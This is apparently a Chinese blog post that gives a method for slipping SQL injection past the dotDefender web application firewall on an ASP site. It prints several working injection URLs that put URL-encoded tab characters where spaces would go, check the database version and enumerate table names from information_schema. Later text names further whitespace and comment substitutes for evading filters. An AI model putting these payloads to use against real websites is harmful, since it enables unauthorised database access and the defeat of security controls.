By:冰的原点

    注:好久没发文了,我看了下这个文档的时间,显示是09年12月的!前些天某牛让我帮看这个防火墙的网站的时候,发现以前的方法其实还是可以用的,但目标站不仅有 dotDefender,还有个webknight,所以暂时想不出有啥好的方法。菜文发出来,牛牛们一起来支招吧!

    以下是笔记内容:

    这个防火墙比起那个webkingnt要强大的多,以前一直没听说过有什么方法绕过的!

    经过BS牛的提醒,利用 table的url编码+特殊方式,可以绕过,如:

http://www.xx.com/customer/customer_view.asp?PK=513%27%20and%09%271%27=%271

绕过 dotDefender 防火墙方法 - 绕过 dotDefender 防火墙SQL注入

    然后利用以下方式:

http://www.xx.xom/customer/customer_view.asp?PK=513%27%20and%09@@version%3d0;select%09%27123

绕过 dotDefender 防火墙方法 - 绕过 dotDefender 防火墙SQL注入

    呵呵,而且 这样的情况 下,我们就可以继续猜 表和猜列了:

http://www.xx.xom/customer/customer_view.asp?PK=513%27%20and%09%28select+top+1+table_name+from+information_schema.tables%29%3d0;select%09%27123

绕过 dotDefender 防火墙方法 - 绕过 dotDefender 防火墙SQL注入

    好了,这样的情况下就可以完全绕过了!

    上面用的什么特殊编码,大家猜下就知道了!

------------------------------------------------------------------------------------

    injection中 一些特殊符号,Tab(制表) 回车(enter) 都可转义成空格  tab就是%09了  and%091=1 等同and%201=1

    select 123 返回true  应该就是lz所说的特殊方式吧

513' andchr(9)'1'='1

513' andchr(9)@@version=0;selectchr(9)'123

513' andchr(9)(select+top+1+table_name+from+information_schema.tables)=0;selectchr(9)'123

chr(9) = (horizontal tab) 水平制表符

    不出所料的话,你应该是用制表符充当空格。。这个在XSS里很常见啊。。。sql语句中也可以。。。

    除制表符、空格之外,应该还有回车+换行、换行符、回车符、空白字符: 。

    应该还有注释语句:/**/。

    和XSS好类似……

留言评论(旧系统):

【匿名者】 @ 2011-10-01 17:28:49

验证码变态啊,17、你知道大便是从哪里出来的?

本站回复:

……